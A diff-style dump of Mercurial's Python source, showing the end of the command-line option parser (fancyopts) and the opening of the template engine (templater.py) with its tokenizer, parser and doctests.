256 return oldstate
256 return oldstate
257
257
258
258
259 class _intopt(customopt):
259 class _intopt(customopt):
260 def newstate(self, oldstate, newparam, abort):
260 def newstate(self, oldstate, newparam, abort):
261 try:
261 try:
262 return int(newparam)
262 return int(newparam)
263 except ValueError:
263 except ValueError:
264 abort(_(b'expected int'))
264 abort(_(b'expected int'))
265
265
266
266
267 def _defaultopt(default):
267 def _defaultopt(default):
268 """Returns a default opt implementation, given a default value."""
268 """Returns a default opt implementation, given a default value."""
269
269
270 if isinstance(default, customopt):
270 if isinstance(default, customopt):
271 return default
271 return default
272 elif callable(default):
272 elif callable(default):
273 return _callableopt(default)
273 return _callableopt(default)
274 elif isinstance(default, list):
274 elif isinstance(default, list):
275 return _listopt(default[:])
275 return _listopt(default[:])
276 elif type(default) is type(1):
276 elif type(default) is type(1):
277 return _intopt(default)
277 return _intopt(default)
278 else:
278 else:
279 return _simpleopt(default)
279 return _simpleopt(default)
280
280
281
281
282 def fancyopts(args, options, state, gnu=False, early=False, optaliases=None):
282 def fancyopts(args, options, state, gnu=False, early=False, optaliases=None):
283 """
283 """
284 read args, parse options, and store options in state
284 read args, parse options, and store options in state
285
285
286 each option is a tuple of:
286 each option is a tuple of:
287
287
288 short option or ''
288 short option or ''
289 long option
289 long option
290 default value
290 default value
291 description
291 description
292 option value label(optional)
292 option value label(optional)
293
293
294 option types include:
294 option types include:
295
295
296 boolean or none - option sets variable in state to true
296 boolean or none - option sets variable in state to true
297 string - parameter string is stored in state
297 string - parameter string is stored in state
298 list - parameter string is added to a list
298 list - parameter string is added to a list
299 integer - parameter strings is stored as int
299 integer - parameter strings is stored as int
300 function - call function with parameter
300 function - call function with parameter
301 customopt - subclass of 'customopt'
301 customopt - subclass of 'customopt'
302
302
303 optaliases is a mapping from a canonical option name to a list of
303 optaliases is a mapping from a canonical option name to a list of
304 additional long options. This exists for preserving backward compatibility
304 additional long options. This exists for preserving backward compatibility
305 of early options. If we want to use it extensively, please consider moving
305 of early options. If we want to use it extensively, please consider moving
306 the functionality to the options table (e.g separate long options by '|'.)
306 the functionality to the options table (e.g separate long options by '|'.)
307
307
308 non-option args are returned
308 non-option args are returned
309 """
309 """
310 if optaliases is None:
310 if optaliases is None:
311 optaliases = {}
311 optaliases = {}
312 namelist = []
312 namelist = []
313 shortlist = b''
313 shortlist = b''
314 argmap = {}
314 argmap = {}
315 defmap = {}
315 defmap = {}
316 negations = {}
316 negations = {}
317 alllong = set(o[1] for o in options)
317 alllong = set(o[1] for o in options)
318
318
319 for option in options:
319 for option in options:
320 if len(option) == 5:
320 if len(option) == 5:
321 short, name, default, comment, dummy = option
321 short, name, default, comment, dummy = option
322 else:
322 else:
323 short, name, default, comment = option
323 short, name, default, comment = option
324 # convert opts to getopt format
324 # convert opts to getopt format
325 onames = [name]
325 onames = [name]
326 onames.extend(optaliases.get(name, []))
326 onames.extend(optaliases.get(name, []))
327 name = name.replace(b'-', b'_')
327 name = name.replace(b'-', b'_')
328
328
329 argmap[b'-' + short] = name
329 argmap[b'-' + short] = name
330 for n in onames:
330 for n in onames:
331 argmap[b'--' + n] = name
331 argmap[b'--' + n] = name
332 defmap[name] = _defaultopt(default)
332 defmap[name] = _defaultopt(default)
333
333
334 # copy defaults to state
334 # copy defaults to state
335 state[name] = defmap[name].getdefaultvalue()
335 state[name] = defmap[name].getdefaultvalue()
336
336
337 # does it take a parameter?
337 # does it take a parameter?
338 if not defmap[name]._isboolopt():
338 if not defmap[name]._isboolopt():
339 if short:
339 if short:
340 short += b':'
340 short += b':'
341 onames = [n + b'=' for n in onames]
341 onames = [n + b'=' for n in onames]
342 elif name not in nevernegate:
342 elif name not in nevernegate:
343 for n in onames:
343 for n in onames:
344 if n.startswith(b'no-'):
344 if n.startswith(b'no-'):
345 insert = n[3:]
345 insert = n[3:]
346 else:
346 else:
347 insert = b'no-' + n
347 insert = b'no-' + n
348 # backout (as a practical example) has both --commit and
348 # backout (as a practical example) has both --commit and
349 # --no-commit options, so we don't want to allow the
349 # --no-commit options, so we don't want to allow the
350 # negations of those flags.
350 # negations of those flags.
351 if insert not in alllong:
351 if insert not in alllong:
352 assert (b'--' + n) not in negations
352 assert (b'--' + n) not in negations
353 negations[b'--' + insert] = b'--' + n
353 negations[b'--' + insert] = b'--' + n
354 namelist.append(insert)
354 namelist.append(insert)
355 if short:
355 if short:
356 shortlist += short
356 shortlist += short
357 if name:
357 if name:
358 namelist.extend(onames)
358 namelist.extend(onames)
359
359
360 # parse arguments
360 # parse arguments
361 if early:
361 if early:
362 parse = functools.partial(earlygetopt, gnu=gnu)
362 parse = functools.partial(earlygetopt, gnu=gnu)
363 elif gnu:
363 elif gnu:
364 parse = pycompat.gnugetoptb
364 parse = pycompat.gnugetoptb
365 else:
365 else:
366 parse = pycompat.getoptb
366 parse = pycompat.getoptb
367 opts, args = parse(args, shortlist, namelist)
367 opts, args = parse(args, shortlist, namelist)
368
368
369 # transfer result to state
369 # transfer result to state
370 for opt, val in opts:
370 for opt, val in opts:
371 boolval = True
371 boolval = True
372 negation = negations.get(opt, False)
372 negation = negations.get(opt, False)
373 if negation:
373 if negation:
374 opt = negation
374 opt = negation
375 boolval = False
375 boolval = False
376 name = argmap[opt]
376 name = argmap[opt]
377 obj = defmap[name]
377 obj = defmap[name]
378 if obj._isboolopt():
378 if obj._isboolopt():
379 state[name] = boolval
379 state[name] = boolval
380 else:
380 else:
381
381
382 def abort(s):
382 def abort(s):
383 raise error.Abort(
383 raise error.Abort(
384 _(b'invalid value %r for option %s, %s')
384 _(b'invalid value %r for option %s, %s')
385 % (pycompat.maybebytestr(val), opt, s)
385 % (pycompat.maybebytestr(val), opt, s)
386 )
386 )
387
387
388 state[name] = defmap[name].newstate(state[name], val, abort)
388 state[name] = defmap[name].newstate(state[name], val, abort)
389
389
390 # return unparsed args
390 # return unparsed args
391 return args
391 return args
@@ -1,1094 +1,1094 b''
1 # templater.py - template expansion for output
1 # templater.py - template expansion for output
2 #
2 #
3 # Copyright 2005, 2006 Matt Mackall <mpm@selenic.com>
3 # Copyright 2005, 2006 Matt Mackall <mpm@selenic.com>
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7
7
8 """Slightly complicated template engine for commands and hgweb
8 """Slightly complicated template engine for commands and hgweb
9
9
10 This module provides low-level interface to the template engine. See the
10 This module provides low-level interface to the template engine. See the
11 formatter and cmdutil modules if you are looking for high-level functions
11 formatter and cmdutil modules if you are looking for high-level functions
12 such as ``cmdutil.rendertemplate(ctx, tmpl)``.
12 such as ``cmdutil.rendertemplate(ctx, tmpl)``.
13
13
14 Internal Data Types
14 Internal Data Types
15 -------------------
15 -------------------
16
16
17 Template keywords and functions take a dictionary of current symbols and
17 Template keywords and functions take a dictionary of current symbols and
18 resources (a "mapping") and return result. Inputs and outputs must be one
18 resources (a "mapping") and return result. Inputs and outputs must be one
19 of the following data types:
19 of the following data types:
20
20
21 bytes
21 bytes
22 a byte string, which is generally a human-readable text in local encoding.
22 a byte string, which is generally a human-readable text in local encoding.
23
23
24 generator
24 generator
25 a lazily-evaluated byte string, which is a possibly nested generator of
25 a lazily-evaluated byte string, which is a possibly nested generator of
26 values of any printable types, and will be folded by ``stringify()``
26 values of any printable types, and will be folded by ``stringify()``
27 or ``flatten()``.
27 or ``flatten()``.
28
28
29 None
29 None
30 sometimes represents an empty value, which can be stringified to ''.
30 sometimes represents an empty value, which can be stringified to ''.
31
31
32 True, False, int, float
32 True, False, int, float
33 can be stringified as such.
33 can be stringified as such.
34
34
35 wrappedbytes, wrappedvalue
35 wrappedbytes, wrappedvalue
36 a wrapper for the above printable types.
36 a wrapper for the above printable types.
37
37
38 date
38 date
39 represents a (unixtime, offset) tuple.
39 represents a (unixtime, offset) tuple.
40
40
41 hybrid
41 hybrid
42 represents a list/dict of printable values, which can also be converted
42 represents a list/dict of printable values, which can also be converted
43 to mappings by % operator.
43 to mappings by % operator.
44
44
45 hybriditem
45 hybriditem
46 represents a scalar printable value, also supports % operator.
46 represents a scalar printable value, also supports % operator.
47
47
48 mappinggenerator, mappinglist
48 mappinggenerator, mappinglist
49 represents mappings (i.e. a list of dicts), which may have default
49 represents mappings (i.e. a list of dicts), which may have default
50 output format.
50 output format.
51
51
52 mappingdict
52 mappingdict
53 represents a single mapping (i.e. a dict), which may have default output
53 represents a single mapping (i.e. a dict), which may have default output
54 format.
54 format.
55
55
56 mappingnone
56 mappingnone
57 represents None of Optional[mappable], which will be mapped to an empty
57 represents None of Optional[mappable], which will be mapped to an empty
58 string by % operation.
58 string by % operation.
59
59
60 mappedgenerator
60 mappedgenerator
61 a lazily-evaluated list of byte strings, which is e.g. a result of %
61 a lazily-evaluated list of byte strings, which is e.g. a result of %
62 operation.
62 operation.
63 """
63 """
64
64
65 from __future__ import absolute_import, print_function
65 from __future__ import absolute_import, print_function
66
66
67 import abc
67 import abc
68 import os
68 import os
69
69
70 from .i18n import _
70 from .i18n import _
71 from .pycompat import getattr
71 from .pycompat import getattr
72 from . import (
72 from . import (
73 config,
73 config,
74 encoding,
74 encoding,
75 error,
75 error,
76 parser,
76 parser,
77 pycompat,
77 pycompat,
78 templatefilters,
78 templatefilters,
79 templatefuncs,
79 templatefuncs,
80 templateutil,
80 templateutil,
81 util,
81 util,
82 )
82 )
83 from .utils import stringutil
83 from .utils import stringutil
84
84
85 # template parsing
85 # template parsing
86
86
87 elements = {
87 elements = {
88 # token-type: binding-strength, primary, prefix, infix, suffix
88 # token-type: binding-strength, primary, prefix, infix, suffix
89 b"(": (20, None, (b"group", 1, b")"), (b"func", 1, b")"), None),
89 b"(": (20, None, (b"group", 1, b")"), (b"func", 1, b")"), None),
90 b".": (18, None, None, (b".", 18), None),
90 b".": (18, None, None, (b".", 18), None),
91 b"%": (15, None, None, (b"%", 15), None),
91 b"%": (15, None, None, (b"%", 15), None),
92 b"|": (15, None, None, (b"|", 15), None),
92 b"|": (15, None, None, (b"|", 15), None),
93 b"*": (5, None, None, (b"*", 5), None),
93 b"*": (5, None, None, (b"*", 5), None),
94 b"/": (5, None, None, (b"/", 5), None),
94 b"/": (5, None, None, (b"/", 5), None),
95 b"+": (4, None, None, (b"+", 4), None),
95 b"+": (4, None, None, (b"+", 4), None),
96 b"-": (4, None, (b"negate", 19), (b"-", 4), None),
96 b"-": (4, None, (b"negate", 19), (b"-", 4), None),
97 b"=": (3, None, None, (b"keyvalue", 3), None),
97 b"=": (3, None, None, (b"keyvalue", 3), None),
98 b",": (2, None, None, (b"list", 2), None),
98 b",": (2, None, None, (b"list", 2), None),
99 b")": (0, None, None, None, None),
99 b")": (0, None, None, None, None),
100 b"integer": (0, b"integer", None, None, None),
100 b"integer": (0, b"integer", None, None, None),
101 b"symbol": (0, b"symbol", None, None, None),
101 b"symbol": (0, b"symbol", None, None, None),
102 b"string": (0, b"string", None, None, None),
102 b"string": (0, b"string", None, None, None),
103 b"template": (0, b"template", None, None, None),
103 b"template": (0, b"template", None, None, None),
104 b"end": (0, None, None, None, None),
104 b"end": (0, None, None, None, None),
105 }
105 }
106
106
107
107
108 def tokenize(program, start, end, term=None):
108 def tokenize(program, start, end, term=None):
109 """Parse a template expression into a stream of tokens, which must end
109 """Parse a template expression into a stream of tokens, which must end
110 with term if specified"""
110 with term if specified"""
111 pos = start
111 pos = start
112 program = pycompat.bytestr(program)
112 program = pycompat.bytestr(program)
113 while pos < end:
113 while pos < end:
114 c = program[pos]
114 c = program[pos]
115 if c.isspace(): # skip inter-token whitespace
115 if c.isspace(): # skip inter-token whitespace
116 pass
116 pass
117 elif c in b"(=,).%|+-*/": # handle simple operators
117 elif c in b"(=,).%|+-*/": # handle simple operators
118 yield (c, None, pos)
118 yield (c, None, pos)
119 elif c in b'"\'': # handle quoted templates
119 elif c in b'"\'': # handle quoted templates
120 s = pos + 1
120 s = pos + 1
121 data, pos = _parsetemplate(program, s, end, c)
121 data, pos = _parsetemplate(program, s, end, c)
122 yield (b'template', data, s)
122 yield (b'template', data, s)
123 pos -= 1
123 pos -= 1
124 elif c == b'r' and program[pos : pos + 2] in (b"r'", b'r"'):
124 elif c == b'r' and program[pos : pos + 2] in (b"r'", b'r"'):
125 # handle quoted strings
125 # handle quoted strings
126 c = program[pos + 1]
126 c = program[pos + 1]
127 s = pos = pos + 2
127 s = pos = pos + 2
128 while pos < end: # find closing quote
128 while pos < end: # find closing quote
129 d = program[pos]
129 d = program[pos]
130 if d == b'\\': # skip over escaped characters
130 if d == b'\\': # skip over escaped characters
131 pos += 2
131 pos += 2
132 continue
132 continue
133 if d == c:
133 if d == c:
134 yield (b'string', program[s:pos], s)
134 yield (b'string', program[s:pos], s)
135 break
135 break
136 pos += 1
136 pos += 1
137 else:
137 else:
138 raise error.ParseError(_(b"unterminated string"), s)
138 raise error.ParseError(_(b"unterminated string"), s)
139 elif c.isdigit():
139 elif c.isdigit():
140 s = pos
140 s = pos
141 while pos < end:
141 while pos < end:
142 d = program[pos]
142 d = program[pos]
143 if not d.isdigit():
143 if not d.isdigit():
144 break
144 break
145 pos += 1
145 pos += 1
146 yield (b'integer', program[s:pos], s)
146 yield (b'integer', program[s:pos], s)
147 pos -= 1
147 pos -= 1
148 elif (
148 elif (
149 c == b'\\'
149 c == b'\\'
150 and program[pos : pos + 2] in (br"\'", br'\"')
150 and program[pos : pos + 2] in (br"\'", br'\"')
151 or c == b'r'
151 or c == b'r'
152 and program[pos : pos + 3] in (br"r\'", br'r\"')
152 and program[pos : pos + 3] in (br"r\'", br'r\"')
153 ):
153 ):
154 # handle escaped quoted strings for compatibility with 2.9.2-3.4,
154 # handle escaped quoted strings for compatibility with 2.9.2-3.4,
155 # where some of nested templates were preprocessed as strings and
155 # where some of nested templates were preprocessed as strings and
156 # then compiled. therefore, \"...\" was allowed. (issue4733)
156 # then compiled. therefore, \"...\" was allowed. (issue4733)
157 #
157 #
158 # processing flow of _evalifliteral() at 5ab28a2e9962:
158 # processing flow of _evalifliteral() at 5ab28a2e9962:
159 # outer template string -> stringify() -> compiletemplate()
159 # outer template string -> stringify() -> compiletemplate()
160 # ------------------------ ------------ ------------------
160 # ------------------------ ------------ ------------------
161 # {f("\\\\ {g(\"\\\"\")}"} \\ {g("\"")} [r'\\', {g("\"")}]
161 # {f("\\\\ {g(\"\\\"\")}"} \\ {g("\"")} [r'\\', {g("\"")}]
162 # ~~~~~~~~
162 # ~~~~~~~~
163 # escaped quoted string
163 # escaped quoted string
164 if c == b'r':
164 if c == b'r':
165 pos += 1
165 pos += 1
166 token = b'string'
166 token = b'string'
167 else:
167 else:
168 token = b'template'
168 token = b'template'
169 quote = program[pos : pos + 2]
169 quote = program[pos : pos + 2]
170 s = pos = pos + 2
170 s = pos = pos + 2
171 while pos < end: # find closing escaped quote
171 while pos < end: # find closing escaped quote
172 if program.startswith(b'\\\\\\', pos, end):
172 if program.startswith(b'\\\\\\', pos, end):
173 pos += 4 # skip over double escaped characters
173 pos += 4 # skip over double escaped characters
174 continue
174 continue
175 if program.startswith(quote, pos, end):
175 if program.startswith(quote, pos, end):
176 # interpret as if it were a part of an outer string
176 # interpret as if it were a part of an outer string
177 data = parser.unescapestr(program[s:pos])
177 data = parser.unescapestr(program[s:pos])
178 if token == b'template':
178 if token == b'template':
179 data = _parsetemplate(data, 0, len(data))[0]
179 data = _parsetemplate(data, 0, len(data))[0]
180 yield (token, data, s)
180 yield (token, data, s)
181 pos += 1
181 pos += 1
182 break
182 break
183 pos += 1
183 pos += 1
184 else:
184 else:
185 raise error.ParseError(_(b"unterminated string"), s)
185 raise error.ParseError(_(b"unterminated string"), s)
186 elif c.isalnum() or c in b'_':
186 elif c.isalnum() or c in b'_':
187 s = pos
187 s = pos
188 pos += 1
188 pos += 1
189 while pos < end: # find end of symbol
189 while pos < end: # find end of symbol
190 d = program[pos]
190 d = program[pos]
191 if not (d.isalnum() or d == b"_"):
191 if not (d.isalnum() or d == b"_"):
192 break
192 break
193 pos += 1
193 pos += 1
194 sym = program[s:pos]
194 sym = program[s:pos]
195 yield (b'symbol', sym, s)
195 yield (b'symbol', sym, s)
196 pos -= 1
196 pos -= 1
197 elif c == term:
197 elif c == term:
198 yield (b'end', None, pos)
198 yield (b'end', None, pos)
199 return
199 return
200 else:
200 else:
201 raise error.ParseError(_(b"syntax error"), pos)
201 raise error.ParseError(_(b"syntax error"), pos)
202 pos += 1
202 pos += 1
203 if term:
203 if term:
204 raise error.ParseError(_(b"unterminated template expansion"), start)
204 raise error.ParseError(_(b"unterminated template expansion"), start)
205 yield (b'end', None, pos)
205 yield (b'end', None, pos)
206
206
207
207
208 def _parsetemplate(tmpl, start, stop, quote=b''):
208 def _parsetemplate(tmpl, start, stop, quote=b''):
209 r"""
209 r"""
210 >>> _parsetemplate(b'foo{bar}"baz', 0, 12)
210 >>> _parsetemplate(b'foo{bar}"baz', 0, 12)
211 ([('string', 'foo'), ('symbol', 'bar'), ('string', '"baz')], 12)
211 ([('string', 'foo'), ('symbol', 'bar'), ('string', '"baz')], 12)
212 >>> _parsetemplate(b'foo{bar}"baz', 0, 12, quote=b'"')
212 >>> _parsetemplate(b'foo{bar}"baz', 0, 12, quote=b'"')
213 ([('string', 'foo'), ('symbol', 'bar')], 9)
213 ([('string', 'foo'), ('symbol', 'bar')], 9)
214 >>> _parsetemplate(b'foo"{bar}', 0, 9, quote=b'"')
214 >>> _parsetemplate(b'foo"{bar}', 0, 9, quote=b'"')
215 ([('string', 'foo')], 4)
215 ([('string', 'foo')], 4)
216 >>> _parsetemplate(br'foo\"bar"baz', 0, 12, quote=b'"')
216 >>> _parsetemplate(br'foo\"bar"baz', 0, 12, quote=b'"')
217 ([('string', 'foo"'), ('string', 'bar')], 9)
217 ([('string', 'foo"'), ('string', 'bar')], 9)
218 >>> _parsetemplate(br'foo\\"bar', 0, 10, quote=b'"')
218 >>> _parsetemplate(br'foo\\"bar', 0, 10, quote=b'"')
219 ([('string', 'foo\\')], 6)
219 ([('string', 'foo\\')], 6)
220 """
220 """
221 parsed = []
221 parsed = []
222 for typ, val, pos in _scantemplate(tmpl, start, stop, quote):
222 for typ, val, pos in _scantemplate(tmpl, start, stop, quote):
223 if typ == b'string':
223 if typ == b'string':
224 parsed.append((typ, val))
224 parsed.append((typ, val))
225 elif typ == b'template':
225 elif typ == b'template':
226 parsed.append(val)
226 parsed.append(val)
227 elif typ == b'end':
227 elif typ == b'end':
228 return parsed, pos
228 return parsed, pos
229 else:
229 else:
230 raise error.ProgrammingError(b'unexpected type: %s' % typ)
230 raise error.ProgrammingError(b'unexpected type: %s' % typ)
231 raise error.ProgrammingError(b'unterminated scanning of template')
231 raise error.ProgrammingError(b'unterminated scanning of template')
232
232
233
233
234 def scantemplate(tmpl, raw=False):
234 def scantemplate(tmpl, raw=False):
235 r"""Scan (type, start, end) positions of outermost elements in template
235 r"""Scan (type, start, end) positions of outermost elements in template
236
236
237 If raw=True, a backslash is not taken as an escape character just like
237 If raw=True, a backslash is not taken as an escape character just like
238 r'' string in Python. Note that this is different from r'' literal in
238 r'' string in Python. Note that this is different from r'' literal in
239 template in that no template fragment can appear in r'', e.g. r'{foo}'
239 template in that no template fragment can appear in r'', e.g. r'{foo}'
240 is a literal '{foo}', but ('{foo}', raw=True) is a template expression
240 is a literal '{foo}', but ('{foo}', raw=True) is a template expression
241 'foo'.
241 'foo'.
242
242
243 >>> list(scantemplate(b'foo{bar}"baz'))
243 >>> list(scantemplate(b'foo{bar}"baz'))
244 [('string', 0, 3), ('template', 3, 8), ('string', 8, 12)]
244 [('string', 0, 3), ('template', 3, 8), ('string', 8, 12)]
245 >>> list(scantemplate(b'outer{"inner"}outer'))
245 >>> list(scantemplate(b'outer{"inner"}outer'))
246 [('string', 0, 5), ('template', 5, 14), ('string', 14, 19)]
246 [('string', 0, 5), ('template', 5, 14), ('string', 14, 19)]
247 >>> list(scantemplate(b'foo\\{escaped}'))
247 >>> list(scantemplate(b'foo\\{escaped}'))
248 [('string', 0, 5), ('string', 5, 13)]
248 [('string', 0, 5), ('string', 5, 13)]
249 >>> list(scantemplate(b'foo\\{escaped}', raw=True))
249 >>> list(scantemplate(b'foo\\{escaped}', raw=True))
250 [('string', 0, 4), ('template', 4, 13)]
250 [('string', 0, 4), ('template', 4, 13)]
251 """
251 """
252 last = None
252 last = None
253 for typ, val, pos in _scantemplate(tmpl, 0, len(tmpl), raw=raw):
253 for typ, val, pos in _scantemplate(tmpl, 0, len(tmpl), raw=raw):
254 if last:
254 if last:
255 yield last + (pos,)
255 yield last + (pos,)
256 if typ == b'end':
256 if typ == b'end':
257 return
257 return
258 else:
258 else:
259 last = (typ, pos)
259 last = (typ, pos)
260 raise error.ProgrammingError(b'unterminated scanning of template')
260 raise error.ProgrammingError(b'unterminated scanning of template')
261
261
262
262
263 def _scantemplate(tmpl, start, stop, quote=b'', raw=False):
263 def _scantemplate(tmpl, start, stop, quote=b'', raw=False):
264 """Parse template string into chunks of strings and template expressions"""
264 """Parse template string into chunks of strings and template expressions"""
265 sepchars = b'{' + quote
265 sepchars = b'{' + quote
266 unescape = [parser.unescapestr, pycompat.identity][raw]
266 unescape = [parser.unescapestr, pycompat.identity][raw]
267 pos = start
267 pos = start
268 p = parser.parser(elements)
268 p = parser.parser(elements)
269 try:
269 try:
270 while pos < stop:
270 while pos < stop:
271 n = min(
271 n = min(
272 (tmpl.find(c, pos, stop) for c in pycompat.bytestr(sepchars)),
272 (tmpl.find(c, pos, stop) for c in pycompat.bytestr(sepchars)),
273 key=lambda n: (n < 0, n),
273 key=lambda n: (n < 0, n),
274 )
274 )
275 if n < 0:
275 if n < 0:
276 yield (b'string', unescape(tmpl[pos:stop]), pos)
276 yield (b'string', unescape(tmpl[pos:stop]), pos)
277 pos = stop
277 pos = stop
278 break
278 break
279 c = tmpl[n : n + 1]
279 c = tmpl[n : n + 1]
280 bs = 0 # count leading backslashes
280 bs = 0 # count leading backslashes
281 if not raw:
281 if not raw:
282 bs = (n - pos) - len(tmpl[pos:n].rstrip(b'\\'))
282 bs = (n - pos) - len(tmpl[pos:n].rstrip(b'\\'))
283 if bs % 2 == 1:
283 if bs % 2 == 1:
284 # escaped (e.g. '\{', '\\\{', but not '\\{')
284 # escaped (e.g. '\{', '\\\{', but not '\\{')
285 yield (b'string', unescape(tmpl[pos : n - 1]) + c, pos)
285 yield (b'string', unescape(tmpl[pos : n - 1]) + c, pos)
286 pos = n + 1
286 pos = n + 1
287 continue
287 continue
288 if n > pos:
288 if n > pos:
289 yield (b'string', unescape(tmpl[pos:n]), pos)
289 yield (b'string', unescape(tmpl[pos:n]), pos)
290 if c == quote:
290 if c == quote:
291 yield (b'end', None, n + 1)
291 yield (b'end', None, n + 1)
292 return
292 return
293
293
294 parseres, pos = p.parse(tokenize(tmpl, n + 1, stop, b'}'))
294 parseres, pos = p.parse(tokenize(tmpl, n + 1, stop, b'}'))
295 if not tmpl.startswith(b'}', pos):
295 if not tmpl.startswith(b'}', pos):
296 raise error.ParseError(_(b"invalid token"), pos)
296 raise error.ParseError(_(b"invalid token"), pos)
297 yield (b'template', parseres, n)
297 yield (b'template', parseres, n)
298 pos += 1
298 pos += 1
299
299
300 if quote:
300 if quote:
301 raise error.ParseError(_(b"unterminated string"), start)
301 raise error.ParseError(_(b"unterminated string"), start)
302 except error.ParseError as inst:
302 except error.ParseError as inst:
303 _addparseerrorhint(inst, tmpl)
303 _addparseerrorhint(inst, tmpl)
304 raise
304 raise
305 yield (b'end', None, pos)
305 yield (b'end', None, pos)
306
306
307
307
308 def _addparseerrorhint(inst, tmpl):
308 def _addparseerrorhint(inst, tmpl):
309 if len(inst.args) <= 1:
309 if len(inst.args) <= 1:
310 return # no location
310 return # no location
311 loc = inst.args[1]
311 loc = inst.args[1]
312 # Offset the caret location by the number of newlines before the
312 # Offset the caret location by the number of newlines before the
313 # location of the error, since we will replace one-char newlines
313 # location of the error, since we will replace one-char newlines
314 # with the two-char literal r'\n'.
314 # with the two-char literal r'\n'.
315 offset = tmpl[:loc].count(b'\n')
315 offset = tmpl[:loc].count(b'\n')
316 tmpl = tmpl.replace(b'\n', br'\n')
316 tmpl = tmpl.replace(b'\n', br'\n')
317 # We want the caret to point to the place in the template that
317 # We want the caret to point to the place in the template that
318 # failed to parse, but in a hint we get a open paren at the
318 # failed to parse, but in a hint we get a open paren at the
319 # start. Therefore, we print "loc + 1" spaces (instead of "loc")
319 # start. Therefore, we print "loc + 1" spaces (instead of "loc")
320 # to line up the caret with the location of the error.
320 # to line up the caret with the location of the error.
321 inst.hint = tmpl + b'\n' + b' ' * (loc + 1 + offset) + b'^ ' + _(b'here')
321 inst.hint = tmpl + b'\n' + b' ' * (loc + 1 + offset) + b'^ ' + _(b'here')
322
322
323
323
324 def _unnesttemplatelist(tree):
324 def _unnesttemplatelist(tree):
325 """Expand list of templates to node tuple
325 """Expand list of templates to node tuple
326
326
327 >>> def f(tree):
327 >>> def f(tree):
328 ... print(pycompat.sysstr(prettyformat(_unnesttemplatelist(tree))))
328 ... print(pycompat.sysstr(prettyformat(_unnesttemplatelist(tree))))
329 >>> f((b'template', []))
329 >>> f((b'template', []))
330 (string '')
330 (string '')
331 >>> f((b'template', [(b'string', b'foo')]))
331 >>> f((b'template', [(b'string', b'foo')]))
332 (string 'foo')
332 (string 'foo')
333 >>> f((b'template', [(b'string', b'foo'), (b'symbol', b'rev')]))
333 >>> f((b'template', [(b'string', b'foo'), (b'symbol', b'rev')]))
334 (template
334 (template
335 (string 'foo')
335 (string 'foo')
336 (symbol 'rev'))
336 (symbol 'rev'))
337 >>> f((b'template', [(b'symbol', b'rev')])) # template(rev) -> str
337 >>> f((b'template', [(b'symbol', b'rev')])) # template(rev) -> str
338 (template
338 (template
339 (symbol 'rev'))
339 (symbol 'rev'))
340 >>> f((b'template', [(b'template', [(b'string', b'foo')])]))
340 >>> f((b'template', [(b'template', [(b'string', b'foo')])]))
341 (string 'foo')
341 (string 'foo')
342 """
342 """
343 if not isinstance(tree, tuple):
343 if not isinstance(tree, tuple):
344 return tree
344 return tree
345 op = tree[0]
345 op = tree[0]
346 if op != b'template':
346 if op != b'template':
347 return (op,) + tuple(_unnesttemplatelist(x) for x in tree[1:])
347 return (op,) + tuple(_unnesttemplatelist(x) for x in tree[1:])
348
348
349 assert len(tree) == 2
349 assert len(tree) == 2
350 xs = tuple(_unnesttemplatelist(x) for x in tree[1])
350 xs = tuple(_unnesttemplatelist(x) for x in tree[1])
351 if not xs:
351 if not xs:
352 return (b'string', b'') # empty template ""
352 return (b'string', b'') # empty template ""
353 elif len(xs) == 1 and xs[0][0] == b'string':
353 elif len(xs) == 1 and xs[0][0] == b'string':
354 return xs[0] # fast path for string with no template fragment "x"
354 return xs[0] # fast path for string with no template fragment "x"
355 else:
355 else:
356 return (op,) + xs
356 return (op,) + xs
357
357
358
358
359 def parse(tmpl):
359 def parse(tmpl):
360 """Parse template string into tree"""
360 """Parse template string into tree"""
361 parsed, pos = _parsetemplate(tmpl, 0, len(tmpl))
361 parsed, pos = _parsetemplate(tmpl, 0, len(tmpl))
362 assert pos == len(tmpl), b'unquoted template should be consumed'
362 assert pos == len(tmpl), b'unquoted template should be consumed'
363 return _unnesttemplatelist((b'template', parsed))
363 return _unnesttemplatelist((b'template', parsed))
364
364
365
365
366 def parseexpr(expr):
366 def parseexpr(expr):
367 """Parse a template expression into tree
367 """Parse a template expression into tree
368
368
369 >>> parseexpr(b'"foo"')
369 >>> parseexpr(b'"foo"')
370 ('string', 'foo')
370 ('string', 'foo')
371 >>> parseexpr(b'foo(bar)')
371 >>> parseexpr(b'foo(bar)')
372 ('func', ('symbol', 'foo'), ('symbol', 'bar'))
372 ('func', ('symbol', 'foo'), ('symbol', 'bar'))
373 >>> parseexpr(b'foo(')
373 >>> parseexpr(b'foo(')
374 Traceback (most recent call last):
374 Traceback (most recent call last):
375 ...
375 ...
376 ParseError: ('not a prefix: end', 4)
376 ParseError: ('not a prefix: end', 4)
377 >>> parseexpr(b'"foo" "bar"')
377 >>> parseexpr(b'"foo" "bar"')
378 Traceback (most recent call last):
378 Traceback (most recent call last):
379 ...
379 ...
380 ParseError: ('invalid token', 7)
380 ParseError: ('invalid token', 7)
381 """
381 """
382 try:
382 try:
383 return _parseexpr(expr)
383 return _parseexpr(expr)
384 except error.ParseError as inst:
384 except error.ParseError as inst:
385 _addparseerrorhint(inst, expr)
385 _addparseerrorhint(inst, expr)
386 raise
386 raise
387
387
388
388
389 def _parseexpr(expr):
389 def _parseexpr(expr):
390 p = parser.parser(elements)
390 p = parser.parser(elements)
391 tree, pos = p.parse(tokenize(expr, 0, len(expr)))
391 tree, pos = p.parse(tokenize(expr, 0, len(expr)))
392 if pos != len(expr):
392 if pos != len(expr):
393 raise error.ParseError(_(b'invalid token'), pos)
393 raise error.ParseError(_(b'invalid token'), pos)
394 return _unnesttemplatelist(tree)
394 return _unnesttemplatelist(tree)
395
395
396
396
397 def prettyformat(tree):
397 def prettyformat(tree):
398 return parser.prettyformat(tree, (b'integer', b'string', b'symbol'))
398 return parser.prettyformat(tree, (b'integer', b'string', b'symbol'))
399
399
400
400
401 def compileexp(exp, context, curmethods):
401 def compileexp(exp, context, curmethods):
402 """Compile parsed template tree to (func, data) pair"""
402 """Compile parsed template tree to (func, data) pair"""
403 if not exp:
403 if not exp:
404 raise error.ParseError(_(b"missing argument"))
404 raise error.ParseError(_(b"missing argument"))
405 t = exp[0]
405 t = exp[0]
406 return curmethods[t](exp, context)
406 return curmethods[t](exp, context)
407
407
408
408
409 # template evaluation
409 # template evaluation
410
410
411
411
412 def getsymbol(exp):
412 def getsymbol(exp):
